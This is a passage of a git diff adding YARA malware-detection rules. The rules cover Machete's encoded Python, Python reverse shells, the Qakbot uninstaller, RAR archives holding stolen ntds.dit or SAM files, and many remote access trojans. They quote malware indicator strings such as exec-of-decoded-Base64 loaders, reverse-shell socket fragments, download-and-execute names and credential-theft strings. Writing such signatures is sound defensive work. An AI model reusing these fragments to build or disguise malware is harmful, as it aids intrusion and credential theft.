+        description = "Detects python code encoded by pyminifier. Used by the Machete malware as researched by ESET"
+        author = "John Lambert @JohnLaTwC"
+        date = "2019-12-16"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"
+        reference2 = "https://github.com/liftoff/pyminifier"
+        hash = "01df8765ea35db382d1dd67a502bf1d9647d8fe818ec31abff41c7e41c2816c0"
+        hash = "15d201152a9465497a0f9dd6939e48315b358702c5e2a3c506ad436bb8816da7"
+        hash = "ab91f76394ddf866cc0b315d862a19b57ded93be5dfc2dd0a81e6a43d0c5f301"
+        hash = "b67256906d976aafb6071d23d1b3f59a1696f26b25ff4713b9342d41e656dfba"
+        hash = "d5664c70f3543f306f765ea35e22829dbea66aec729e8e11edea9806d0255b7e"
+        hash = "dd2b0e2c2cb8a83574248bda54ce472899b22eb602e8ebecafcce2c4355177fe"
+        hash = "ed76bd136f40a23aeffe0aba02f13b9fea3428c19b715aafa6ea9be91e4006ca"
+
+        hash = "b454179c13cb4727ae06cc9cd126c3379e2aded5c293af0234ac3312bf9bdad2"
+
+        id = "d7297e6a-e1c7-57dd-a57f-a3b67face2f3"
+    strings:
+        $s1 = "exec(zlib.decompress(base64.b64decode('eJ"
+        $s2 = "base64" fullword
+        $s3 = "zlib" fullword
+
+    condition:
+    	filesize < 20KB
+        and uint32be(0) == 0x696d706f // import
+        and all of them
+}
diff --git a/yara-Neo23x0/gen_python_reverse_shell.yara b/yara-Neo23x0/gen_python_reverse_shell.yara
new file mode 100644
index 0000000..4f32ea1
--- /dev/null
+++ b/yara-Neo23x0/gen_python_reverse_shell.yara
@@ -0,0 +1,36 @@
+rule gen_python_reverse_shell
+{
+   meta:
+      description = "Python Base64 encoded reverse shell"
+      author = "John Lambert @JohnLaTwC"
+      reference = "https://www.virustotal.com/en/file/9ec5102bcbabc45f2aa7775464f33019cfbe9d766b1332ee675957c923a17efd/analysis/"
+      date = "2018-02-24"
+      hash1 = "9ec5102bcbabc45f2aa7775464f33019cfbe9d766b1332ee675957c923a17efd"
+      hash2 = "bfb5c622a3352bb71b86df81c45ccefaa68b9f7cc0a3577e8013aad951308f12"
+      id = "dda831ae-d0ca-5d5a-bdb3-e7c146a770b4"
+   strings:
+      $h1 = "import base64" fullword ascii
+
+      $s1 = "b64decode" fullword ascii
+      $s2 = "lambda" fullword ascii
+      $s3 = "version_info" fullword ascii
+
+      //Base64 encoded versions of these strings
+      // socket.SOCK_STREAM
+      $enc_x0 = /(AG8AYwBrAGUAdAAuAFMATwBDAEsAXwBTAFQAUgBFAEEATQ|b2NrZXQuU09DS19TVFJFQU|c29ja2V0LlNPQ0tfU1RSRUFN|cwBvAGMAawBlAHQALgBTAE8AQwBLAF8AUwBUAFIARQBBAE0A|MAbwBjAGsAZQB0AC4AUwBPAEMASwBfAFMAVABSAEUAQQBNA|NvY2tldC5TT0NLX1NUUkVBT)/ ascii
+
+      //.connect((
+      $enc_x1 = /(4AYwBvAG4AbgBlAGMAdAAoACgA|5jb25uZWN0KC|AGMAbwBuAG4AZQBjAHQAKAAoA|LgBjAG8AbgBuAGUAYwB0ACgAKA|LmNvbm5lY3QoK|Y29ubmVjdCgo)/
+
+      //time.sleep
+      $enc_x2 = /(AGkAbQBlAC4AcwBsAGUAZQBwA|aW1lLnNsZWVw|dABpAG0AZQAuAHMAbABlAGUAcA|dGltZS5zbGVlc|QAaQBtAGUALgBzAGwAZQBlAHAA|RpbWUuc2xlZX)/
+
+      //.recv
+      $enc_x3 = /(4AcgBlAGMAdg|5yZWN2|AHIAZQBjAHYA|cmVjd|LgByAGUAYwB2A|LnJlY3)/
+   condition:
+      uint32be(0) == 0x696d706f
+      and $h1 at 0
+      and filesize < 40KB
+      and all of ($s*)
+      and all of ($enc_x*)
+}
diff --git a/yara-Neo23x0/gen_qakbot_uninstaller.yar b/yara-Neo23x0/gen_qakbot_uninstaller.yar
new file mode 100644
index 0000000..811641b
--- /dev/null
+++ b/yara-Neo23x0/gen_qakbot_uninstaller.yar
@@ -0,0 +1,34 @@
+
+rule SUSP_Qakbot_Uninstaller_ShellCode_Aug23 {
+   meta:
+      description = "Detects Qakbot Uninstaller files used by the FBI and Dutch National Police in a disruption operation against the Qakbot in August 2023"
+      author = "Florian Roth"
+      reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
+      date = "2023-08-30"
+      score = 60
+      id = "860796ab-689f-5c5f-bc40-3e2ef7fd1d5d"
+   strings:
+      $xc1 = { E8 00 00 00 00 58 55 89 E5 89 C2 68 03 00 00 00 68 00 2C 00 00 05 20 0A 00 00 50 E8 05 00 00 00 83 C4 04 C9 C3 81 EC 08 01 00 00 53 55 56 57 6A 6B 58 6A 65 5B 6A 72 66 89 84 24 D4 00 00 00 33 }
+   condition:
+      $xc1
+}
+
+rule SUSP_QakBot_Uninstaller_FBI_Aug23 {
+   meta:
+      description = "Detects Qakbot uninstaller used by the FBI / Dutch Police"
+      author = "Florian Roth"
+      reference = "https://www.justice.gov/usao-cdca/divisions/national-security-division/qakbot-resources"
+      date = "2023-08-31"
+      score = 60
+      hash1 = "559cae635f0d870652b9482ef436b31d4bb1a5a0f51750836f328d749291d0b6"
+      hash2 = "855eb5481f77dde5ad8fa6e9d953d4aebc280dddf9461144b16ed62817cc5071"
+      hash3 = "fab408536aa37c4abc8be97ab9c1f86cb33b63923d423fdc2859eb9d63fa8ea0"
+      id = "499bff56-ff49-53df-9922-227b816c0a36"
+   strings:
+      $op1 = { 69 c1 65 89 07 6c 03 c2 89 84 95 24 f6 ff ff 8b 55 e4 42 89 55 e4 81 fa 70 02 00 00 7c d4 }
+      $op2 = { 42 89 55 e4 81 fa 70 02 00 00 7c d4 f2 0f 10 0d a0 31 00 10 33 f6 f2 0f 10 15 a8 31 00 10 66 90 }
+      $op5 = { 68 48 31 00 10 6a 28 57 e8 e4 fd ff ff 8b 4d fc 83 c4 4c 33 cd 33 c0 }
+      $op6 = { 33 c0 66 39 06 74 0f 0f 1f 80 00 00 00 00 40 66 83 3c 46 00 75 f8 8d 3c 00 }
+   condition:
+      all of them
+}
diff --git a/yara-Neo23x0/gen_rar_exfil.yar b/yara-Neo23x0/gen_rar_exfil.yar
new file mode 100644
index 0000000..53f94e8
--- /dev/null
+++ b/yara-Neo23x0/gen_rar_exfil.yar
@@ -0,0 +1,18 @@
+
+rule SUSP_RAR_NtdsDIT {
+   meta:
+      description = "Detects suspicious RAR file that contains ntds.dit or SAM export"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+      date = "2019-12-16"
+      modified = "2022-11-15" // only synced the name with our internal rule
+      score = 70
+      id = "da9e160f-3213-5027-bb0f-bf80ab3d5318"
+   strings:
+      $x1 = "ntds.dit0" ascii fullword
+      $x2 = { 0? 53 41 4D 30 01 00 03 }  // SAM0
+      $x3 = { 0? 73 61 6D 30 01 00 03 }  // sam0
+   condition:
+      uint32(0) == 0x21726152 // Rar!
+      and 1 of them
+}
diff --git a/yara-Neo23x0/gen_rats_malwareconfig.yar b/yara-Neo23x0/gen_rats_malwareconfig.yar
new file mode 100644
index 0000000..51b8117
--- /dev/null
+++ b/yara-Neo23x0/gen_rats_malwareconfig.yar
@@ -0,0 +1,1072 @@
+rule RAT_AAR
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects AAR RAT"
+		reference = "http://malwareconfig.com/stats/AAR"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "42c1af80-cff3-505f-a3cb-35b7e34575e1"
+	strings:
+		$a = "Hashtable"
+		$b = "get_IsDisposed"
+		$c = "TripleDES"
+		$d = "testmemory.FRMMain.resources"
+		$e = "$this.Icon" wide
+		$f = "{11111-22222-20001-00001}" wide
+
+	condition:
+		all of them
+}
+
+rule RAT_Adzok
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		description = "Detects Adzok RAT"
+		Versions = "Free 1.0.0.3,"
+		date = "01.05.2015"
+		reference = "http://malwareconfig.com/stats/Adzok"
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
+
+		id = "93807f85-ae4e-5fd2-9010-ed2cf6f57f38"
+	strings:
+		$a1 = "config.xmlPK"
+		$a2 = "key.classPK"
+		$a3 = "svd$1.classPK"
+		$a4 = "svd$2.classPK"
+		$a5 = "Mensaje.classPK"
+		$a6 = "inic$ShutdownHook.class"
+		$a7 = "Uninstall.jarPK"
+		$a8 = "resources/icono.pngPK"
+
+	condition:
+		7 of ($a*)
+}
+
+rule RAT_Ap0calypse
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		description = "Detects Ap0calypse RAT"
+		date = "01.04.2014"
+		reference = "http://malwareconfig.com/stats/Ap0calypse"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "a2993654-efa0-519b-b6f6-4d722d93adde"
+	strings:
+		$a = "Ap0calypse"
+		$b = "Sifre"
+		$c = "MsgGoster"
+		$d = "Baslik"
+		$e = "Dosyalars"
+		$f = "Injecsiyon"
+
+	condition:
+		all of them
+}
+rule RAT_Arcom
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Arcom RAT"
+		reference = "http://malwareconfig.com/stats/Arcom"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "a0598340-c4a5-53f0-a810-63e37ec669a5"
+	strings:
+		$a1 = "CVu3388fnek3W(3ij3fkp0930di"
+		$a2 = "ZINGAWI2"
+		$a3 = "clWebLightGoldenrodYellow"
+		$a4 = "Ancestor for '%s' not found" wide
+		$a5 = "Control-C hit" wide
+		$a6 = {A3 24 25 21}
+
+	condition:
+		all of them
+}
+
+rule RAT_Bandook
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Bandook RAT"
+		reference = "http://malwareconfig.com/stats/bandook"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "79fb99d8-bd56-5986-9917-e119b51b8303"
+	strings:
+		$a = "aaaaaa1|"
+		$b = "aaaaaa2|"
+		$c = "aaaaaa3|"
+		$d = "aaaaaa4|"
+		$e = "aaaaaa5|"
+		$f = "%s%d.exe"
+		$g = "astalavista"
+		$h = "givemecache"
+		$i = "%s\\system32\\drivers\\blogs\\*"
+		$j = "bndk13me"
+
+	condition:
+		all of them
+}
+
+rule RAT_BlackNix
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects BlackNix RAT"
+		reference = "http://malwareconfig.com/stats/BlackNix"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "d7814184-3ae4-53f1-a602-c3fbc02573c3"
+	strings:
+		$a1 = "SETTINGS" wide
+		$a2 = "Mark Adler"
+		$a3 = "Random-Number-Here"
+		$a4 = "RemoteShell"
+		$a5 = "SystemInfo"
+
+	condition:
+		all of them
+}
+
+rule RAT_BlackShades
+{
+	meta:
+		author = "Brian Wallace (@botnet_hunter)"
+		date = "01.04.2014"
+		description = "Detects BlackShades RAT"
+		reference = "http://blog.cylance.com/a-study-in-bots-blackshades-net"
+		family = "blackshades"
+
+		id = "039f9efd-034d-5088-9a2f-7a63ad170d3d"
+	strings:
+		$string1 = "bss_server"
+		$string2 = "txtChat"
+		$string3 = "UDPFlood"
+
+	condition:
+		all of them
+}
+
+rule RAT_BlueBanana
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects BlueBanana RAT"
+		reference = "http://malwareconfig.com/stats/BlueBanana"
+		maltype = "Remote Access Trojan"
+		filetype = "Java"
+
+		id = "f00c7e92-f34c-5666-a1d9-02ac2cf7608c"
+	strings:
+		$meta = "META-INF"
+		$conf = "config.txt"
+		$a = "a/a/a/a/f.class"
+		$b = "a/a/a/a/l.class"
+		$c = "a/a/a/b/q.class"
+		$d = "a/a/a/b/v.class"
+
+	condition:
+		all of them
+}
+
+rule RAT_Bozok
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Bozok RAT"
+		reference = "http://malwareconfig.com/stats/Bozok"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "b1d22e8c-39aa-52e7-9ca8-2b35bb82f7de"
+	strings:
+		$a = "getVer" nocase
+		$b = "StartVNC" nocase
+		$c = "SendCamList" nocase
+		$d = "untPlugin" nocase
+		$e = "gethostbyname" nocase
+
+	condition:
+		all of them
+}
+
+rule RAT_ClientMesh
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
+		date = "01.06.2014"
+		description = "Detects ClientMesh RAT"
+		reference = "http://malwareconfig.com/stats/ClientMesh"
+		family = "torct"
+
+		id = "351df33e-d3a1-5fe8-be38-edb43bc5d38f"
+	strings:
+		$string1 = "machinedetails"
+		$string2 = "MySettings"
+		$string3 = "sendftppasswords"
+		$string4 = "sendbrowserpasswords"
+		$string5 = "arma2keyMass"
+		$string6 = "keylogger"
+
+	condition:
+		all of them
+}
+
+rule RAT_CyberGate
+{
+
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects CyberGate RAT"
+		reference = "http://malwareconfig.com/stats/CyberGate"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "387e7c89-c766-54cf-aac0-3ba03092bc25"
+	strings:
+		$string1 = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+		$string2 = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+		$string3 = "EditSvr"
+		$string4 = "TLoader"
+		$string5 = "Stroks"
+		$string6 = "####@####"
+		$res1 = "XX-XX-XX-XX"
+		$res2 = "CG-CG-CG-CG"
+
+	condition:
+		all of ($string*) and any of ($res*)
+}
+
+rule RAT_DarkComet
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects DarkComet RAT"
+		reference = "http://malwareconfig.com/stats/DarkComet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "e6fd0269-dd0c-58c0-a1a3-24c2aed916ee"
+	strings:
+		// Versions 2x
+		$a1 = "#BOT#URLUpdate"
+		$a2 = "Command successfully executed!"
+		$a3 = "MUTEXNAME" wide
+		$a4 = "NETDATA" wide
+		// Versions 3x & 4x & 5x
+		$b1 = "FastMM Borland Edition"
+		$b2 = "%s, ClassID: %s"
+		$b3 = "I wasn't able to open the hosts file"
+		$b4 = "#BOT#VisitUrl"
+		$b5 = "#KCMDDC"
+
+	condition:
+		all of ($a*) or all of ($b*)
+}
+
+rule RAT_DarkRAT
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects DarkRAT"
+		reference = "http://malwareconfig.com/stats/DarkRAT"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "8283236a-6ed1-5213-8386-a029867b9677"
+	strings:
+		$a = "@1906dark1996coder@"
+		$b = "SHEmptyRecycleBinA"
+		$c = "mciSendStringA"
+		$d = "add_Shutdown"
+		$e = "get_SaveMySettingsOnExit"
+		$f = "get_SpecialDirectories"
+		$g = "Client.My"
+
+	condition:
+		all of them
+}
+
+rule RAT_Greame
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Greame RAT"
+		reference = "http://malwareconfig.com/stats/Greame"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "b90d3747-407a-5552-971f-78ff78f827a6"
+	strings:
+		$a = {23 23 23 23 40 23 23 23 23 E8 EE E9 F9 23 23 23 23 40 23 23 23 23}
+		$b = {23 23 23 23 40 23 23 23 23 FA FD F0 EF F9 23 23 23 23 40 23 23 23 23}
+		$c = "EditSvr"
+		$d = "TLoader"
+		$e = "Stroks"
+		$f = "Avenger by NhT"
+		$g = "####@####"
+		$h = "GREAME"
+
+	condition:
+		all of them
+}
+
+rule RAT_HawkEye
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.06.2015"
+		description = "Detects HawkEye RAT"
+		reference = "http://malwareconfig.com/stats/HawkEye"
+		maltype = "KeyLogger"
+		filetype = "exe"
+
+		id = "22b1d1e6-feea-5f84-9564-326ad80bbd8d"
+	strings:
+		$key = "HawkEyeKeylogger" wide
+		$salt = "099u787978786" wide
+		$string1 = "HawkEye_Keylogger" wide
+		$string2 = "holdermail.txt" wide
+		$string3 = "wallet.dat" wide
+		$string4 = "Keylog Records" wide
+		$string5 = "<!-- do not script -->" wide
+		$string6 = "\\pidloc.txt" wide
+		$string7 = "BSPLIT" wide
+
+	condition:
+		$key and $salt and all of ($string*)
+}
+
+rule RAT_Imminent
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Imminent RAT"
+		reference = "http://malwareconfig.com/stats/Imminent"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "deddef60-c309-54e0-a488-ce937ed7eae3"
+	strings:
+		$v1a = "DecodeProductKey"
+		$v1b = "StartHTTPFlood"
+		$v1c = "CodeKey"
+		$v1d = "MESSAGEBOX"
+		$v1e = "GetFilezillaPasswords"
+		$v1f = "DataIn"
+		$v1g = "UDPzSockets"
+		$v1h = {52 00 54 00 5F 00 52 00 43 00 44 00 41 00 54 00 41}
+
+		$v2a = "<URL>k__BackingField"
+		$v2b = "<RunHidden>k__BackingField"
+		$v2c = "DownloadAndExecute"
+		$v2d = "-CHECK & PING -n 2 127.0.0.1 & EXIT" wide
+		$v2e = "england.png" wide
+		$v2f = "Showed Messagebox" wide
+
+	condition:
+		all of ($v1*) or all of ($v2*)
+}
+
+rule RAT_Infinity
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Infinity RAT"
+		reference = "http://malwareconfig.com/stats/Infinity"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "b70f9459-fa84-516f-841d-d9617856eb4d"
+	strings:
+		$a = "CRYPTPROTECT_PROMPTSTRUCT"
+		$b = "discomouse"
+		$c = "GetDeepInfo"
+		$d = "AES_Encrypt"
+		$e = "StartUDPFlood"
+		$f = "BATScripting" wide
+		$g = "FBqINhRdpgnqATxJ.html" wide
+		$i = "magic_key" wide
+
+	condition:
+		all of them
+}
+
+/* prone to FPs and obsolete 
+rule RAT_JavaDropper
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
+		date = "01.10.2015"
+		description = "Detects JavaDropper RAT"
+		reference = "http://malwareconfig.com/stats/JavaDropper"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$jar = "META-INF/MANIFEST.MF"
+
+		$b1 = "config.ini"
+		$b2 = "password.ini"
+
+		$c1 = "stub/stub.dll"
+
+	condition:
+		$jar and (all of ($b*) or all of ($c*))
+}
+*/
+
+rule RAT_LostDoor
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects LostDoor RAT"
+		reference = "http://malwareconfig.com/stats/LostDoor"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "f86ae7a1-2182-5b2e-8f9e-9e8456f574bc"
+	strings:
+		$a0 = {0D 0A 2A 45 44 49 54 5F 53 45 52 56 45 52 2A 0D 0A}
+		$a1 = "*mlt* = %"
+		$a2 = "*ip* = %"
+		$a3 = "*victimo* = %"
+		$a4 = "*name* = %"
+		$b5 = "[START]"
+		$b6 = "[DATA]"
+		$b7 = "We Control Your Digital World" wide ascii
+		$b8 = "RC4Initialize" wide ascii
+		$b9 = "RC4Decrypt" wide ascii
+
+	condition:
+		all of ($a*) or all of ($b*)
+}
+
+rule RAT_LuminosityLink
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects LuminosityLink RAT"
+		reference = "http://malwareconfig.com/stats/LuminosityLink"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "163fe10c-38a1-53d3-b3a5-4240229e0306"
+	strings:
+		$a = "SMARTLOGS" wide
+		$b = "RUNPE" wide
+		$c = "b.Resources" wide
+		$d = "CLIENTINFO*" wide
+		$e = "Invalid Webcam Driver Download URL, or Failed to Download File!" wide
+		$f = "Proactive Anti-Malware has been manually activated!" wide
+		$g = "REMOVEGUARD" wide
+		$h = "C0n1f8" wide
+		$i = "Luminosity" wide
+		$j = "LuminosityCryptoMiner" wide
+		$k = "MANAGER*CLIENTDETAILS*" wide
+
+	condition:
+		all of them
+}
+
+rule RAT_LuxNet
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects LuxNet RAT"
+		reference = "http://malwareconfig.com/stats/LuxNet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "277db509-5ba0-5d1b-b17a-d5914f1f1650"
+	strings:
+		$a = "GetHashCode"
+		$b = "Activator"
+		$c = "WebClient"
+		$d = "op_Equality"
+		$e = "dickcursor.cur" wide
+		$f = "{0}|{1}|{2}" wide
+
+	condition:
+		all of them
+}
+
+/* prone to FPs: https://github.com/Neo23x0/signature-base/issues/40
+rule RAT_NanoCore
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects NanoCore RAT"
+		reference = "http://malwareconfig.com/stats/NanoCore"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+	strings:
+		$a = "NanoCore"
+		$b = "ClientPlugin"
+		$c = "ProjectData"
+		$d = "DESCrypto"
+		$e = "KeepAlive"
+		$f = "IPNETROW"
+		$g = "LogClientMessage"
+		$h = "|ClientHost"
+		$i = "get_Connected"
+		$j = "#=q"
+		$key = {43 6f 24 cb 95 30 38 39}
+
+	condition:
+		6 of them
+}
+*/
+
+rule RAT_NetWire
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net> & David Cannings"
+		date = "01.04.2014"
+		description = "Detects NetWire RAT"
+		reference = "http://malwareconfig.com/stats/NetWire"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "f0077e8c-3e6a-5a98-9171-b0d81f24d27a"
+	strings:
+		$exe1 = "%.2d-%.2d-%.4d"
+		$exe2 = "%s%.2d-%.2d-%.4d"
+		$exe3 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]"
+		$exe4 = "wcnwClass"
+		$exe5 = "[Ctrl+%c]"
+		$exe6 = "SYSTEM\\CurrentControlSet\\Control\\ProductOptions"
+		$exe7 = "%s\\.purple\\accounts.xml"
+
+	condition:
+		all of them
+}
+
+rule RAT_Pandora
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Pandora RAT"
+		reference = "http://malwareconfig.com/stats/Pandora"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "d31e4366-8911-5c9c-92dc-a99f5233c626"
+	strings:
+		$a = "Can't get the Windows version"
+		$b = "=M=Q=U=Y=]=a=e=i=m=q=u=y=}="
+		$c = "JPEG error #%d" wide
+		$d = "Cannot assign a %s to a %s" wide
+		$g = "%s, ProgID:"
+		$h = "clave"
+		$i = "Shell_TrayWnd"
+		$j = "melt.bat"
+		$k = "\\StubPath"
+		$l = "\\logs.dat"
+		$m = "1027|Operation has been canceled!"
+		$n = "466|You need to plug-in! Double click to install... |"
+		$0 = "33|[Keylogger Not Activated!]"
+
+	condition:
+		all of them
+}
+
+rule RAT_Paradox
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Paradox RAT"
+		reference = "http://malwareconfig.com/stats/Paradox"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "2f1e6226-799b-54eb-a4a4-6c0f1bf561b4"
+	strings:
+		$a = "ParadoxRAT"
+		$b = "Form1"
+		$c = "StartRMCam"
+		$d = "Flooders"
+		$e = "SlowLaris"
+		$f = "SHITEMID"
+		$g = "set_Remote_Chat"
+
+	condition:
+		all of them
+}
+
+rule RAT_Plasma
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Plasma RAT"
+		reference = "http://malwareconfig.com/stats/Plasma"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "2a19c0de-0078-5487-869c-1bcabea57300"
+	strings:
+		$a = "Miner: Failed to Inject." wide
+		$b = "Started GPU Mining on:" wide
+		$c = "BK: Hard Bot Killer Ran Successfully!" wide
+		$d = "Uploaded Keylogs Successfully!" wide
+		$e = "No Slowloris Attack is Running!" wide
+		$f = "An ARME Attack is Already Running on" wide
+		$g = "Proactive Bot Killer Enabled!" wide
+		$h = "PlasmaRAT" wide ascii
+		$i = "AntiEverything" wide ascii
+
+	condition:
+		all of them
+}
+
+rule RAT_PoisonIvy
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects PoisonIvy RAT"
+		reference = "http://malwareconfig.com/stats/PoisonIvy"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "371686d3-878f-56fc-a702-ec49845f486b"
+	strings:
+		$stub = {04 08 00 53 74 75 62 50 61 74 68 18 04}
+		$string1 = "CONNECT %s:%i HTTP/1.0"
+		$string2 = "ws2_32"
+		$string3 = "cks=u"
+		$string4 = "thj@h"
+		$string5 = "advpack"
+
+	condition:
+		$stub at 0x1620 and all of ($string*) or (all of them)
+}
+
+rule RAT_PredatorPain
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects PredatorPain RAT"
+		reference = "http://malwareconfig.com/stats/PredatorPain"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "c6670179-871d-5a57-983b-d77354e2ede9"
+	strings:
+		$string1 = "holderwb.txt" wide
+		$string3 = "There is a file attached to this email" wide
+		$string4 = "screens\\screenshot" wide
+		$string5 = "Disablelogger" wide
+		$string6 = "\\pidloc.txt" wide
+		$string7 = "clearie" wide
+		$string8 = "clearff" wide
+		$string9 = "emails should be sent to you shortly" wide
+		$string10 = "jagex_cache\\regPin" wide
+		$string11 = "open=Sys.exe" wide
+		$ver1 = "PredatorLogger" wide
+		$ver2 = "EncryptedCredentials" wide
+		$ver3 = "Predator Pain" wide
+
+	condition:
+		7 of ($string*) and any of ($ver*)
+}
+
+rule RAT_Punisher
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Punisher RAT"
+		reference = "http://malwareconfig.com/stats/Punisher"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "1e16b3c7-9656-5570-afa2-542367aa14d8"
+	strings:
+		$a = "abccba"
+		$b = {5C 00 68 00 66 00 68 00 2E 00 76 00 62 00 73}
+		$c = {5C 00 73 00 63 00 2E 00 76 00 62 00 73}
+		$d = "SpyTheSpy" wide ascii
+		$e = "wireshark" wide
+		$f = "apateDNS" wide
+		$g = "abccbaDanabccb"
+
+	condition:
+		all of them
+}
+
+rule RAT_PythoRAT
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Python RAT"
+		reference = "http://malwareconfig.com/stats/PythoRAT"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "fc98c513-1abf-5331-b351-f6182e5b19c5"
+	strings:
+		$a = "TKeylogger"
+		$b = "uFileTransfer"
+		$c = "TTDownload"
+		$d = "SETTINGS"
+		$e = "Unknown" wide
+		$f = "#@#@#"
+		$g = "PluginData"
+		$i = "OnPluginMessage"
+
+	condition:
+		all of them
+}
+
+rule RAT_QRat
+{
+	meta:
+		author = "Kevin Breen @KevTheHermit"
+		date = "01.08.2015"
+		description = "Detects QRAT"
+		reference = "http://malwareconfig.com"
+		maltype = "Remote Access Trojan"
+		filetype = "jar"
+
+		id = "2ee645a3-1e01-513c-a636-098e445adeca"
+	strings:
+		$a0 = "e-data"
+		$a1 = "quaverse/crypter"
+		$a2 = "Qrypt.class"
+		$a3 = "Jarizer.class"
+		$a4 = "URLConnection.class"
+
+	condition:
+		4 of them
+}
+
+rule RAT_Sakula
+{
+	meta:
+		date = "2015-10-13"
+		description = "Detects Sakula v1.0 RAT"
+		author = "Airbus Defence and Space Cybersecurity CSIRT - Yoann Francou / NCC Group David Cannings"
+		reference = "http://blog.airbuscybersecurity.com/public/YFR/sakula_v1x.yara"
+
+		id = "4be3179c-3b91-56db-bba9-9ccc42066f96"
+	strings:
+		$s1 = "%d_of_%d_for_%s_on_%s"
+		$s2 = "/c ping 127.0.0.1 & del /q \"%s\""
+		$s3 = "=%s&type=%d"
+		$s4 = "?photoid="
+		$s5 = "iexplorer"
+		$s6 = "net start \"%s\""
+		$s7 = "cmd.exe /c rundll32 \"%s\""
+
+		$v1_1 = "MicroPlayerUpdate.exe"
+		$v1_2 = "CCPUpdate"
